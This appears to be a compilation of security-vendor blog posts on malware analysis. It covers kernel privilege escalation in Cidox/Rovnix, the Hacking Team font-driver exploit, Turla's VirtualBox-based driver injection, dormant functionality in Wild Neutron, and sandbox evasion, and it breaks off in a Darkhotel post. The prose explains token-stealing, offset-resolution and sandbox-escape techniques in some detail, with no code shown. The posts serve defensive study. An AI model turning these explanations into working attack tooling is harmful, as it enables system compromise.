Analysis of Kernel Exploit

An interesting finding that emerged from our research is that some of the attacks are not using their own version of the setup/shellcode/payload functionality. Instead, the attackers use proof-of-concept implementations available on the Internet (sometimes provided for free by researchers, other times sold by specialized exploit groups). Here, the payload invokes a malware process after elevating privileges, providing the attacker with a simple and reliable way to bypass the kernel’s security restrictions.

This allows traditional security solution to claim “kernel exploit detection” capabilities, because the proof-of-concept implementations can be trivially detected using signature-based approaches. Clearly, sophisticated and well-funded attack groups can leverage zero-day exploits - that is, exploits that have not been publicly documented - as part of their attack, and use evasive code to identify or bypass traditional analysis systems before launching the kernel exploit.

As a consequence, the analysis system must not only be able to handle evasive code, but also to inspect code run as part of the operating system kernel. Only then can it correctly identify the malicious behavior and thwart the attack.

Unmasking the Cidox/Rovnix Bootkit

Our system performs in-depth analysis of all stages of kernel exploits, as one can see by looking at the following example (found in the wild) of the Cidox/Rovnix Bootkit

MD5: d3d013aaa07c6217fda7a8a139c42b60
SHA1: c2255e187fc08109ee3da450bba1e176b7583384

As we can see, every stage of the kernel exploit discussed above is already highlighted in the analysis overview.

But the analysis capabilities of our system go well beyond that! As we already covered in previous blog posts, the Lastline analysis system automatically extracts full-process snapshots containing points of interest for subsequent analysis by a security analyst or researcher.

Our solution tracks the execution of untrusted memory in user- as well as kernel-mode. As a result, the system sees all code fragments associated with the malicious behavior executed as part of the exploit, which can be downloaded as part of the analysis result, and be imported into off-the-shelf tools, such as IDA Pro.

For example, the process-snapshot extracted as part of the Cidox/Rovnix Bootkit exploit analysis shows the malicious payload executed in the context of the kernel:

Here, the code searches for the EPROCESS structure of the System process (using its process-ID 4) as well as for the entry of the malicious process using PsLookupProcessByProcessId. Once found, it duplicates the EPROCESS::Token from System to the malicious process, giving it Local System privileges.

The extracted process-snapshot not only contains all the relevant code-sections (and is stripped from unrelated, benign code cluttering the snapshot), but the system also highlights code areas of interest to guide the analyst in where to look.

Authored by: Arunpreet Singh, Roman Vasilenko

In their Youtube commercial, the infamous Hacking Team promises to their clients, who are typically government or law enforcement agencies, the ability to “look through [the customer’s] target’s eyes”. At the same time, they promise to do this by means of tools that are “stealth and untraceable, immune to any protection system [...]”. Obviously, this attracted our attention...

Reading through the material that other security researchers have collected on the Hacking Team breach earlier this week, it comes at no surprise that we find many references to kernel exploits used by this group that injects their surveillance software into the kernel of a target system. In light of our recent blog series on kernel exploit analysis, we took a deeper look at one of these zero-day kernel exploits to see how our system behaves against it.

Raising Privileges and Bypassing SMEP

The internals of the kernel exploit have been covered in great detail by other blog-posts [1, 2], so we won’t repeat all of this here. In a nutshell, the exploit leverages a vulnerability in the Adobe Font Driver (atmfd.dll) allowing the attacker to overflow a data structure in kernel memory.

What is specifically interesting about the exploit discovered in the Hacking Team leak, is how the attackers (ab)use the vulnerability to elevate the privileges of their process. As we have explained in our previous blog post, most kernel-level exploits disable Supervisor Mode Execution Prevention (SMEP) to be able to call code in user memory with kernel (ring-0) privileges. The exploit we analyze in this post, on the other hand, has no need to execute shellcode in the context of the kernel.

Instead, the vulnerability allows the attacker to read and write arbitrary memory locations in kernel space, which is then used to steal the System access token and raise the privileges of the attacker’s process. This makes exploitation extremely stealthy, and works reliably even on systems with SMEP enabled, such as Windows 8 and later.

Stealing the System Access Token

Unfortunately (for the attacker) most structures in the operating system (OS) kernel are not well-documented, and they can change between different versions of the OS. Without the ability to call kernel code, which provides APIs and other utility methods for manipulating these structures in memory, it is essential to know the exact kernel memory layout as well as format of its data structures.

The Hacking Team exploit uses a very clever technique to overcome this problem, which is worth describing in a bit more detail:

Enumerating EPROCESS Structures: In a first step, the exploit code has to find a reference to the EPROCESS structure of its own process. To do this, the code calls NtQuerySystemInformation (passing SystemHandleInformation, 0x10), which returns information about all handles acquired by any process. The information is returned using the SYSTEM_HANDLE_INFORMATION structure

which reveals a structure’s address in kernel memory through the Object member.

To find the correct process handle, the code uses DuplicateHandle and then searches for the correct instance in the list of objects, obtaining the memory address of the EPROCESS object in kernel space.

Calculating Access Token Offset: Finding the locations of structures in kernel memory is only part of the story, however. To successfully steal another process’ privileges, the exploit needs to modify a few member variables of its EPROCESS structure, such as the PID (EPROCESS::UniqueProcessId) and access token (EPROCESS::Token).

However, as mentioned above, the layout of the structure and thus the position of these values within the structures (that is, their offsets in memory) may change arbitrarily between different OS versions.

To resolve these memory offsets, the attackers use another clever trick: they calculate the offsets from documented kernel interfaces. For example, PsGetProcessId is a well-documented, standardized API. This function takes a reference to an EPROCESS structure as argument, and returns the ProcessId. Clearly, this requires accessing the ProcessId member in the memory of the structure.

Thus, the exploit can use the PsGetProcessId function to find the required offsets: as one can see in the function disassembly:

In this case, the ProcessId is referenced at offset 0x84 inside the EPROCESS structure. To get this information, the exploit loads the kernel image from disk, finds the address of PsGetProcessId, and locates the offset inside the function by searching for the operand of the corresponding MOV opcode.

In the above assembly example, the offset can be easily found five bytes before the ret instruction (opcode 0xC2), which can also be seen in the assembly of the corresponding function from the exploit code, shown below:

In order to find the other remaining structure offsets, the exploit uses a similar approach, leveraging the code for functions such as PsGetCurrentProcess or PsReferencePrimaryToken.

Elevating Privileges: Once the memory layout (location of structures) as well as their format (offsets within the structures) are known, the exploit can elevate privileges of its own process. To do so, it traverses the ActiveProcessLinks, a doubly-linked list of EPROCESS structures of active processes, to find the System process entry (with PID 4):

From there, the exploit duplicates the access token into its own structure, essentially gaining the same (system) privileges.

Escaping Google Chrome

Over the last couple years, most browser vendors have improved their software’s security model by introducing various sandboxing mechanisms. For example, Google’s Chrome browser uses a multi-process architecture that restricts each browser component (e.g., rendering) to run within a separate process.

These processes are unable to directly access the file-system or other security-relevant system resources. As a result, a successful exploit against the browser (or one of its plugins) does not automatically allow execution of arbitrary code, because the attacker is still limited to the restricted privileges imposed by the OS kernel on the exploited process.

To enforce these restrictions, the Chrome security model makes use of kernel Job objects, which allows restricting a process in various ways, such as disallowing the spawning of child-processes or accessing handles outside the job context.

However, none of these restrictions prevent a compromised process from interacting with the kernel the way the Hacking Team exploit does: with the ability to manipulate the EPROCESS structure in the kernel, the attacker is able to completely disable the browser’s security restriction using any drive-by-download exploit allowing code execution in the (restricted) browser process.

More concretely, the attacker can simply find the EPROCESS structure in kernel memory (as described above) and clear the Job member structure. This resets any security restrictions and, in turn, allows full access to the target host.

Full-System Emulation Versus Zero-Day

Despite all the clever tricks and evasive maneuvers used in the exploit, this attack represents a perfect example of why full-system emulation, one of the key technologies behind the Lastline analysis solution, is so important: full-system emulation allows for visibility into every instruction executed during the analysis, regardless of the fact that the exploit calls functions in user- or kernel-mode.

Behavior Summary of Zero-Day Kernel Exploit

As described above, the exploit steals the System access token to raise its privileges, without calling any (hookable) API function, which is the level at which most sandboxes do their instrumentation. Nevertheless, our analysis shows a complete summary of all the behaviors of this zero-day exploit.  

Summary

Every day, attackers are coming up with new and clever tricks to evade security solutions and system protection mechanisms. The Hacking Team leak provided us with insights into what is going on under the covers of the technology used by well-funded, sophisticated attackers.

But who knows what else lurks out there? Only if we use equally smart, state-of-the-art analysis systems, such as the Lastline solution, can we keep up with these attacks and protect our users.

Authored by: Arunpreet Singh, Clemens Kolbitsch

The Turla malware family is part of one of the most sophisticated malware families seen in the wild today. Given that the APT group behind this malware is suspected to be state-sponsored, the sophistication of the malicious code comes at no surprise - just like the fact that we are still encountering new and updated variants.

In this part of our series on diving into kernel exploitation, we want to have a look at one of the updated Turla variants: what is particularly noteworthy is that it includes a completely new method of injecting code into the Microsoft Windows operating system (OS) kernel. While the previous version had to disable driver-code signature verification, this variant completely bypasses this security mechanism, making the attack even more stealthy.

New and Stealthier Attack Mechanism, Still Caught

Before we dive into the details on what’s new, there is an interesting observation to be made: while the way the malicious code is injected into the kernel has been updated significantly, the actual behavior of the Turla kernel component has changed very little.

As we describe in the earlier post on Turla, the main functionality of the kernel component is to hide the user-mode components of the malware, and to monitor user-activity (such as network traffic) using filter drivers.

Turla behavior extracted by the Lastline analysis system

Given that the authors behind Turla have not extended the actual malicious behavior, it seems that they are focusing on providing more reliable, stealthy ways to inject code into the OS kernel. This, once again, highlights the importance of having a system that tackles evasive malware.

The Lastline analysis solution uses a full-system emulation approach that provides visibility into every aspect of malicious code. It can track execution of code in user-mode as well as in kernel-mode, and it does so without hooking API functions. As a result, our system is perfectly equipped to handle previously-unseen, zero-day attacks against our users.

Turla Kernel Code Injection Exploit

Just like the previously discussed variant of Turla, this updated variant also makes use of a VirtualBox vulnerability to manipulate the OS kernel. This vulnerability has already been well documented, so we only want to give a short recap here:

When VirtualBox is installed, arbitrary processes can communicate with its driver, and send it commands to load or create virtual machine (VM) instances from a configuration. As part of this VM configuration, the user can specify a VM image as well as a callback function used by the driver for handling certain IOCTLs.

Therefore, from an attacker’s perspective, the vulnerable version of the driver allows to load arbitrary data (including any shellcode) into the kernel, and then specify a function to be executed for IOCTL handling. Nothing prevents the attacker to point this handler into the VM data to execute user-provided shellcode.

An additional bug in the vulnerable driver also allows an attacker to write arbitrary values to any kernel memory address specified by the user. The only caveat is that the value to be written has to be returned by a function pointer passed to the driver - since this function is controlled by the user as well, it is not a significant restriction.

This second bug was used by a previous variant of Turla to write a value of 0 to kernel memory, using the following simple callback function:

As we explained in our previous post, this allows the malware to disable driver code-signature verification by overwriting the kernel variable g_CiEnabled with a value of 0, and, in turn, enabling the loading of unsigned and malicious code into the kernel.

Interestingly, this same vulnerability and exploitation technique is now being used by a publicly available tool to disable code signing. Clearly, this is an alarming trend from the perspective of the security industry!

Code Injection Wrapper

In the updated malware variant, the attackers equipped Turla with completely new shellcode: the shellcode allows loading unsigned code into the kernel directly - that is, without first having to disable driver signature verification. This way, the attack is more resilient to being detected, as no suspicious modifications of kernel variables are performed.

Most of the changes from previous versions took place in the main user-mode component of the Turla malware (usually referenced as pxinsi64.exe). The new version takes the name of a named section object as a command line argument. This section contains the PE image of an unsigned driver, which will later be loaded into the kernel through the exploit. pxinsi64.exe maps the named section, loads the driver code, combines it with additional shellcode (contained in one of its PE sections), and writes this into the VM image.

Next, it queries for SYSTEM_MODULE_INFORMATION via NtQuerySystemInformation and adds this information to the VM image. This data is needed later while executing in the kernel and saves the hassle of resolving the base-address of Ntoskrnl.exe while in the context of the operating system kernel. The pxinsi64.exe executable also adds a list of strings that correspond to API names to the VM image: these names are later used to resolve function pointers in kernel code, such as ExQueueWorkItem, ZwOpenSection, ZwMapViewOfSection, ExAllocatePoolWithTag, and ExFreePoolWithTag.

Last, the malware program creates and maps a named section (of 16 bytes), and adds this section’s name into the VM data. This section is later used to pass status information from the code running in kernel-mode back to the user-mode counterpart.

The disassembly above shows how pxinsi64.exe combines the individual parts to prepare a VM image that exploits the vulnerable VirtualBox driver.

Updated Turla Shellcode

With all pieces put in place by pxinsi64.exe described above, the shellcode becomes somewhat straightforward, and interestingly lacks any form of encryption at this point.

First, it finds the base-address at which Ntoskrnl.exe is loaded in kernel memory, which is provided by the SYSTEM_MODULE_INFORMATION struct loaded with the shellcode. From there, the shellcode parses the export table of Ntoskrnl.exe to resolve all addresses of API functions that are part of the list described above.

Next, it calls ExQueueWorkItem, passing a second-phase shellcode. From the function description on MSDN:

        ExQueueWorkItem inserts a given work item into a queue from which a system worker thread removes the item and gives control to the routine that the caller supplied to ExInitializeWorkItem.

This means that the kernel will find the work item pointing to the next-phase shellcode and execute it. The code disassembly below shows how the function names are resolved to memory addresses and subsequently are called:

As part of this last phase, the shellcode opens and maps the shared section provided in the VM data. Then, it uses ExAllocatePoolWithTag to allocate memory which the user-provided driver is copied to, relocating the driver and fixing its imports - this last step is actually very easy, as the driver has already been loaded in user space and only needs to be relocated to its new base-address.

The shellcode finds the entry point to the payload code by parsing the PE header of the driver and calls it. Finally, it writes the return value of the DriverEntry() function as status-flag to the shared memory section.

Evasive Kernel Code Injection

While we can only speculate on the exact reasons why the attackers behind Turla have updated their code injection mechanism, it is clear that this variant is an improvement in a number of ways.

First, Turla is now compatible with newer versions of the Microsoft Windows kernel: in Windows 8 (and later), PatchGuard protects the kernel variable controlling driver signature verification (g_CiOptions, or g_CiEnabled in earlier versions of the OS). Thus, any modification to this flag, without disabling PatchGuard beforehand, results in the notorious Blue Screen of Death (BSOD). The new code-injection method works without modifying this variable, and, as a result, works despite PatchGuard.

A second benefit of the updated injection mechanism is that the malicious driver is never written to disk. This means that security products that scan the file-system for suspicious objects will not be able to see the driver, and be evaded.

Last, the new variant does not have to call the LoadDriver function, which offers security products a reliable way to intercept new code that is loaded into the OS kernel. Without this call, security products must have other means to identify new code injected into the kernel. The Lastline sandbox, for example, is based on full-system emulation and can see every instruction that is executed within the analysis environment. Thus, we immediately recognize when new code is executed in the context of the kernel, and, hence, we are not vulnerable to this type of evasion.

An interesting point to note: Whenever the Lastline solution encounters new, untrusted code executing inside the sandbox, it generates a snapshot containing this code (stripped of other, benign and unrelated code regions). We have covered this functionality in a previous blog-post, but it is worthwhile mentioning that the same also applies to code executing in the kernel. This way, analysts can get further insights by analyzing malicious drivers with off-the-shelf tools such as IDA Pro.

Summary

APT groups are constantly on the move, attacking new targets, and improving their weapons. Looking at the evolution of sophisticated malware, such as Turla, we constantly see new tricks used by attackers to compromise OS kernels and to hide from security solutions.

In addition to this increasing sophistication, malware is also becoming more difficult to analyze for security solutions: new attack vectors have to be covered, and this is only reasonably possible if the sandbox can track the entire execution of the malware sample, regardless if it executes in the context of a user-mode application or as part of a kernel driver; whether invoked directly or executed as part of a kernel callback.

Only full visibility allows detection, everything else will inevitably fail.

Authored by: Clemens Kolbitsch, Joe Giron, and Arunpreet Singh

Over recent years, we have seen a rapid evolution of security products. Whenever a new technology is introduced, it tackles shortcomings of its predecessor, but also faces new challenges as attackers adapt to the changing security landscape.

The introduction of first-generation sandboxes defeated most code packing techniques, gradually turning the attackers’ attention to sandbox evasion. While modern sandboxes can deal with evasion in many ways, they have to deal with another fundamental problem, namely, limited code coverage. In other words, a sandbox might be perfect at detecting behaviors that are exhibited by malware. However, what if a malware sample is capable of a certain behavior that the sandbox is not executing during the analysis of the program?

In this post, we introduce the concept of dormant functionality, which refers to behavior that is not executed - that is, the functionality is dormant at the time of analysis. We show how this functionality can be used to classify malware, provide examples for different types of dormant code, and discuss how the Lastline solution tackles each of these types.

Dormant Functionality Versus Evasion

Traditional sandbox-based analysis systems rely on observing and classifying behavior exhibited by malware. Thus, they only cover behavior and code paths that are executed during the analysis. Dormant functionality is code that exists in a malware program, and that could be executed under certain conditions, but, for some reason, the execution path invoking the behavior is not taken during analysis.

In a way, the problem of executing additional, interesting code paths is related to tackling evasive malware, but it is an orthogonal problem: evasive code tries to identify the presence of an analysis system, and deliberately skips malicious behavior to avoid being detected. To tackle evasive malware, a sandbox has to conceal itself as well as possible, and, at the same time, mimic an environment that the attacker targets.

Dormant functionality, on the other hand, is an independent problem and exists even when malware is not evasive (or when the analysis system is able to bypass the evasive checks). As a matter of fact, malware often contains dormant code that is not even executed on a real machine, as we will see below. Thus, it is a problem that also exists when observing malware on a real victim machine.

Types of Dormant Functionality

There is a wide range of reasons why a sandbox might not be able to trigger some of the behavior of a malicious program - that is, to turn dormant functionality into actually observed behavior - but the most frequently observed patterns fall into one of the following four categories:

Dependency on External Infrastructure: One of the most fundamental problems when analyzing malware is that the malicious code frequently relies on some sort of external infrastructure, such as a command-and-control (C&C) server, for receiving commands. If this server is not reachable, or if the server does not send specific commands to the executing malware, much of the malware’s functionality will remain dormant.

Dependency on C&C server: without commands from the server, the malicious behavior remains dormant.

There are many reasons for unreachable C&C servers. Sometimes, malware variants are released with hard-coded C&C addresses, and the attackers continuously release new variants when changing their infrastructure. Thus, if a sample is not analyzed within a relatively short amount of time after its release, the C&C server’s address might have changed, and no interesting behavior can be extracted any longer from this specific variant. Interestingly, classifying such a program as benign is - to some extent - correct, as executing it will do no harm on a real machine when executed at this point in time.

Nevertheless, analysis systems need to be able to deal with unavailable C&C servers: for example, as a report by Mandiant from 2014 suggests, the attackers known as PLA Unit 61398 would not make use of their C&C infrastructure during lunch breaks and weekends, meaning that programs analyzed at those times might not receive commands from the attackers. Furthermore, some users may have very stringent privacy restrictions and, thus, decide to deploy their analysis systems without any connectivity to the Internet.

Internal Component Dependency: A large fraction of malware families used in APT attacks today are made of multiple components. While each component is designed for a specific task, it might depend on another component to be loaded or running in order to work correctly.

For example, some malware families, such as PlugX, consist of different components for downloading new payload code from the Internet and decrypting it, for injecting the decrypted payload into a remote process, and for the actual payload. Thus, when a network-based sensor captures the download of the payload update, the subsequent analysis of this component may run without the decryption and injection components.

Component dependency: analyzing the download component might reveal the payload, but without
injection and decryption components, the malicious behavior remains dormant.

Component dependency can even exist between benign and malicious code: for example, some exploits download malicious code that is saved to disk and injected into another process running on the victim machine. Since this code, usually stored as a library/DLL, is always executed in the context of a specific process, the code might rely on information available only in this environment, such as other libraries being loaded, certain data being stored in memory, or functions being located at specific addresses.

In case the infection is later detected, and all files on the infected machine are sent to the analysis system, the dropped DLL might not execute its malicious functionality correctly, because it is not executed in the expected context.

Missing/Expected Input: As already described above, many malicious samples have a modular structure with multiple components. In many cases, these components require a specific set of arguments to trigger the execution of their behavior.

Re-using the example above, when a library is injected into a running process as part of a successful exploit, this library might be a generic loader providing various behaviors available to the attacker. Thus, the attacker will invoke the desired functionality within the library after the injection by invoking a dedicated function with specific arguments.

Another, very frequent pattern that we observe with malware in the wild is that attackers install remote access tools (RAT) on an infected computer. RATs are pieces of software that attackers employ to remotely access or control the infected machine. These RATs can be used as utilities during the attack, for example, to inject libraries into existing processes or drivers into the operating-system kernel, but they do not implement any of the malicious functionality per se.

RAT functionality remains dormant unless explicitly invoked

Very often, RATs are user-friendly command-line programs, but it can be challenging for an automated analysis system to understand which command-line parameters need to be passed to the program to trigger the interesting behavior.

Broken Packers: Most malware found in the wild today is packed with some sort of custom packer to bypass signature-based anti-malware solutions. Interestingly, we frequently see samples that do not work, because they have a buggy packer or use a packer that is not compatible with the malware code.

Packed code remains dormant until packer (successfully) decodes payload

While malware with broken packers are not a threat to users per se, it is nevertheless interesting to highlight that a (non-functional) program under analysis is malicious, to notify that there has been an attempted attack.

Detecting Dormant Functionality in Wild Neutron

A great example to illustrate the different types of dormant functionality is Wild Neutron: this malware family makes heavy use of different components, as described in a recent technical analysis by Kaspersky Labs.

As outlined above, when analyzing individual components or even multiple components without the necessary commands from the attacker, much of the functionality remains dormant. The Lastline solution uses full system emulation, which means that it can see all code that is loaded as part of a subject under analysis - including those code regions that are not executed. As a result, the system can include any functionality with the potential of being executed in its analysis.

Now, you might ask: isn’t “looking at code” exactly the approach that legacy anti-virus (AV) solutions have used for many years? Well, yes and no. Of course, AVs have statically examined code in an attempt to to determine if it is good or bad. But the Lastline solution does things a bit differently.

First, our system doesn’t  simply look at blocks of code in isolation. Instead, it analyzes code and puts it into the context of the current execution of the program. Even more powerful, it can put a code block into the context of other sandbox runs, where possibly different malware programs did in fact execute this code block (or a similar one). By connecting a block of code with the API functions and system calls that it invoked, the system can learn and extract the expected behavior of that code. That is, our analysis system can identify (malicious) functionality that has been observed in samples analyzed in the past, and, thus, categorize new programs without seeing the actual behavior being executed.

As a second difference to traditional AV signatures, when checking for dormant functionality, we are not trying to precisely match sequences of bytes or instructions. Instead, we characterize and compare code at a higher, more abstract level. This “fuzzy” matching makes our analysis much more robust against simple obfuscation tricks that malware authors have long used to bypass AV signatures.  

In the remainder of this post, we provide examples of how the analysis system finds dormant functionality when analyzing Wild Neutron components either independently, or when the malware sample is unable to contact its C&C infrastructure.

Example: Wild Neutron Remote Access Tool

The main payload of the Wild Neutron malware is a RAT, which is dropped and executed after infecting a host. What’s particularly interesting about this tool is the fact that it requires the C&C URL to be passed on the command line.

If the RAT is able to connect to the C&C server, it waits for the attacker to send commands to be performed on the victim machine. Otherwise, or if no valid URL is specified, the RAT simply enters an infinite loop without showing any malicious behavior:

The code above shows how the program validates the provided C&C URL. It checks if a parameter was passed and verifies that it is a valid URL. For this, it decrypts the string “http”, which is stored in encrypted form in the program’s memory, and searches for it in the provided URL. If the check is successful, the C&C information is encrypted using RC4 (with key “Intel Integrated Graphics”) and CryptProtectData, and stored in the registry for later use.

At this point, the malware registers its handlers for the different commands available to the attacker: it decrypts the command names stored in memory (for example "update"), and assigns the callback-function for each command inside a global handler structure:

Later, when a command is received, it finds the correct callback using its name, and invokes it. This way, the available commands are never stored in plain-text inside the malware binary. Fortunately, the Lastline analysis system automatically provides an analyst with full-process snapshots of the running program, allowing to find these decrypted command names easily:

Clearly, when performing a standalone analysis of the RAT, a conventional analysis sandbox (just like a human analyst) cannot know a valid, currently active C&C URL, and is thus unable to trigger any of the interesting behavior during the analysis.

On the other hand, by exposing the dormant functionality from within the malware sample, the Lastline solution is able to dive much deeper into the behavior of the program under analysis. This helps classifying the malware much more accurately, as can be seen in the Lastline analysis report:

Component MD5: 3E373D39198A2025665AFA87D2D75E7F
Lastline Analysis report: https://user.lastline.com/malscape#/task/ebeaf80d2da84b329b6cec71d3d2b002

Lastline analysis system identifying dormant C&C behavior in Wild Neutron

Example: Wild Neutron Configuration Utility

Wild Neutron contains a utility that allows an attacker to configure the different malware components running on the infected machine. This program takes a number of command-line arguments, and if no such arguments are provided, the tool simply exits, not revealing any suspicious behavior.

For example, if the argument "-stop" is provided, the tool will terminate one of the other malware components running on the host. A different command-line option allows to install a malicious wdigestEx.dll library as Security Support Provider using the AddSecurityPackage function. This allows the malware to intercept critical security operations such as user authentication:

If this program is analyzed independently of this other running process, or without the required command-line arguments, very little behavior can be observed to classify the program as malicious. Nevertheless, the analysis report overview shows that the Lastline solution is able to see the non-executed code-paths inside the malware program, and analyze – and, in turn, detect – the dormant functionality of the malware:

Component MD5: 48319E9166CDA8F605F9DCE36F115BC8
Analysis report:https://user.lastline.com/malscape#/task/cd4bc6ef901c48ca952c40fac6a8696d

Lastline analysis system identifying dormant behavior in Wild Neutron RAT

Summary

Security solutions based on dynamic analysis of malware are a powerful means to classify malicious programs, but they have to tackle the problem of limited code coverage. Evasive malware might try to deliberately hide malicious behavior, and dormant functionality might not be triggered at the time of analysis.

The Lastline analysis solution is able to tackle evasive behavior and dormant functionality alike, significantly increasing code coverage and, thus, the amount of behavior it can use to classify a malware program.

Authored by: Clemens Kolbitsch and Arunpreet Singh

Another week comes to an end, another wave of evasive malware is attacking users. This week: Shifu. This malware family, termed an Uber Patchwork of Malware Tools in a recent DarkReading post, combines a plethora of evasive tricks to bypass traditional analysis systems, and has attacked at least 14 Japanese banks according to DarkReading.

Also this week, Virus Bulletin released an article dissecting another malware family using a wide-range of tricks specifically targeting dynamic analysis systems, and tests this malware against publicly accessible analysis systems - with disappointing results for these sandboxes.

Addressing Evasive Malware Using Full System Emulation

In a number of recent posts, we have discussed various techniques to attack traditional sandbox solutions, and how the Lastline solution is able to counteract these attacks using full-system emulation and detection of dormant code.

To name just a few examples: Dyre checks for the number of CPU cores available on the host to detect suspicious hardware configurations, Rombertik uses stalling code to delay any malicious behavior until the point where an automated analysis system gives up and falsely classifies it as benign, and a similar technique - inverted timing attacks - defeats sandboxes that try to bypass stalling code in a naive way.

Catching Shifu Using Full System Emulation

The recently discovered Shifu family makes use of a large arsenal of tricks to avoid being detected by traditional security solutions. Unfortunate for the attacker, the Lastline solution is able to not only bypass these tricks, but even use them against the attacker: the more evasive a piece of code becomes, the more suspicious it looks!

The analysis result generated by the Lastline solution clearly shows that the system is not only able to classify Shifu as malicious, but it also highlights the main malware payload (code injection into the browser) as well as eight different attempts to evade detection:

Lastline analysis report exposing plethora of evasive tricks used by Shifu malware

Analyzing the market verticals in which this malware family has been seen, it is easy to see that the Shifu malware targets financial institutions as well as security services protecting them:

Market verticals showing Shifu to be part of Banking and Security Services customers

Information on marketing verticals helps users see if an attack is specific to their business and allows them to prioritize security incidents accordingly.

Virus Bulletin Article Tests Sandboxes

Just like Shifu, one of the malware samples analyzed for the article posted by Virus Bulletin uses a number of tricks to detect - and in turn evade - analysis sandboxes. In their report, the authors show that the sample was successful in evading four different sandbox solutions.

Inspired by the highly positive outcome of the recent NSS Labs report, we were curious to see how our system would do. The outcome of the analyzed sample is very similar to Shifu: the report highlights how the Lastline solution can leverage evasive tricks to classify malware, and turn the attackers’ weapons against them:

Analysis report highlighting evasive behavior

The analysis report generated by the Lastline solution exposes the evasive code, and also highlights that the malware executed its payload: collecting user information and connecting to its command-and-control infrastructure.

Summary

Evasive malware is not news, it’s becoming the standard. Security solutions need to evolve and tackle this threat to protect users, or they will fall short like traditional security solutions already did. Only by exposing and bypassing the evasive tricks can we defeat the threat posed by state-of-the-art, advanced malware.

In October 2015, at the ACM CCS 2015 conference, my colleagues Dennis Andriesse and Victor van der Veen from the Vrije Universiteit Amsterdam presented a paper, co-authored by me, a researcher at Lastline Labs, on control-flow integrity entitled "Practical Context-Sensitive CFI". This paper discusses PathArmor, a system that protects users from exploits using return-oriented programming (ROP) to launch an attacker’s code on the victim machine.

In a nutshell, PathArmor uses recent extensions of CPU hardware to collect detailed information about the execution of a program at runtime. It uses this data to examine if the program behaves “as expected”. For example, if an attacker exploits a vulnerability to trick the program to execute a shellcode, PathArmor raises an alert since it sees that the execution does not conform to the behavior implemented by the programmer. More specifically, the system uses the 16 Last Branch Record (LBR) registers available in modern Intel processors to store the targets of control flow changing instructions (such as jump) exercised at runtime.

What is Control-Flow Integrity (CFI)? CFI is a well-known technique in the research world and has been around for more than a decade. In its purest form, CFI reliably stops code reuse attacks, such as ROP or return-to-libc, against binary programs. Typically, such attacks circumvent common defense techniques such as DEP/W+X or ASLR by diverting a program's control flow and executing a set of Return-Oriented Programming (ROP) gadgets.

CFI prevents exploitation attempts by ensuring that all control transfers follow the program's original Control Flow Graph (CFG), as defined by the programmer. For instance, if function A() calls B(), CFI checks that any return from B continues at the B’s callsite in A(). If, on the other hand, an exploit can force function B() to return to a different location of the attacker’s choosing, CFI finds this discrepancy and terminates the program before an attacker can do any harm.

What’s the problem with CFI? Even though CFI was originally proposed in 2005, researchers are still struggling to design a practical implementation. To make enforcing control-flow integrity efficient, one flavour of common CFI solutions relaxes constraints on the legal targets of control edges. For example, they may dictate that a call instruction needs to always target a function in the program, without checking if the programmer ever calls this particular function at the call site in question. While doing so stops many current exploitation attempts with reasonably low performance overhead, unfortunately it also leaves a lot of freedom for attackers. A string of recent research publications shows how to circumvent all these lightweight solutions with relatively low effort.

A fundamental problem with current CFI solutions is that they enforce only context-insensitive CFI policies. In other words, they examine control edges in isolation. This allows attackers to freely chain edges together and form paths that are infeasible in the original CFG. For example, if (at runtime) function A() has called B(), the context-insensitive CFI policies would allow a return from B() to any callsite of B() in the program, not only to A(). However, when coming from A(), a context-sensitive CFI would only allow a backward edge to A(). While the idea of context-sensitive CFI has been acknowledged by the research community years ago, it has been dismissed as too resource expensive in practice.

How does PathArmor address this limitation? PathArmor implements a context-sensitive, low-overhead CFI solution: it considers each control transfer in the context of recently executed transfers, so CFI checks are enforced per path, rather than per edge. In the example above, PathArmor monitors where function B() was called from, and it enforces that execution returns to its call site in A().

As illustrated in the figure below, PathArmor builds on the following major components: 1) a kernel module employing hardware support to efficiently monitor execution paths, 2) an on-demand static analysis to examine if the observed paths are legal in the program, and 3) a binary instrumentation to actually enforce the CFI invariants. 

PathArmor Overview

• Kernel module. The kernel module used by PathArmor has two tasks: first, it intercepts sensitive/dangerous system calls that are required to launch a successful attack, e.g., exec or mprotect. Next, on each such execution point, it provides a Branch Record core to support control transfer monitoring. We use the 16 Last Branch Record (LBR) registers available in modern Intel processors, which lets us observe paths of recently exercised control transfers. Since this monitoring comes with virtually no overhead, PathArmor yields comparable performance to previous CFI implementations. At the same time, it has enough runtime information to much more thoroughly examine if the program behaves “as expected”, offering a significantly stronger security protection.

• Static analysis. The static analysis component verifies at runtime if a particular path reported by the kernel module is valid. To this end, it consults the CFG of the binary and searches for the path in question. The paper discusses details on how PathArmor builds the CFG and overcomes the path explosion problem.

• Dynamic instrumentation. The dynamic binary instrumentation component sets up a communication channel with the kernel module to enable and manage path monitoring. In practice, this component is also essential for proper handling of libraries used by the protected program - for details please refer to the paper.

Want to learn more about PathArmor? For more info on PathArmor, check out the full paper here. To try it out and see PathArmor prevent an exploit from taking over your machine, you may download a prototype implementation from https://github.com/dennisaa/patharmor.

Authored by: Arunpreet Singh and Clemens Kolbitsch

The use of runtime-packing of malware has long become the standard to defeat traditional AV products. At the same time, malicious programs are continuously becoming more evasive to avoid being detected by first-generation sandboxes. New waves of malware are now combining these techniques to combat AV and sandbox solutions alike.

In this post, we are taking a deeper look at malware used by the Darhotel APT group, and we show how the attackers use just-in-time decryption of system fingerprints to detect, and in turn evade, many security solutions. We show that full-system emulation can be used to expose the fingerprints that the attackers are trying to hide and to remain invisible to the evasive maneuvers of Darkhotel.

Evasion Via Fingerprinting

As we described in many of our previous blog posts, malware authors can use different methods to decide if they are running in an environment in which it is worth to reveal their malicious intentions, or if they may be under analysis and should thus “behave well”.

A very common way to detect a sandbox environment is through system fingerprinting: attackers analyze the host on which malware is running for signs of a security solution. If any such indicator is found, the malware program terminates to avoid revealing any of its internals.

Typical examples for such signs are programs running on the system that may be part of an analysis suite, hooks in system libraries that can be used to monitor program behavior, or kernel drivers loaded as part of the operating system to intercept and record system calls.

Leveraging Fingerprinting For Detection

Although the above list of potential fingerprint mechanisms is far from complete, it is already clear that an effective analysis solution must not have any of its components running inside the sandbox, where they are visible to the executing malware. Because of this, our sandbox runs its analysis as part of a full-system emulator, well-hidden from the attacker, outside the actual analysis operating system.

Unfortunately, assuming that an analysis solution is always able to fully conceal itself is unrealistic. Because of this, there is a constant cat-and-mouse game between attackers leveraging new ways to fingerprint a system and security solutions adapting to this.

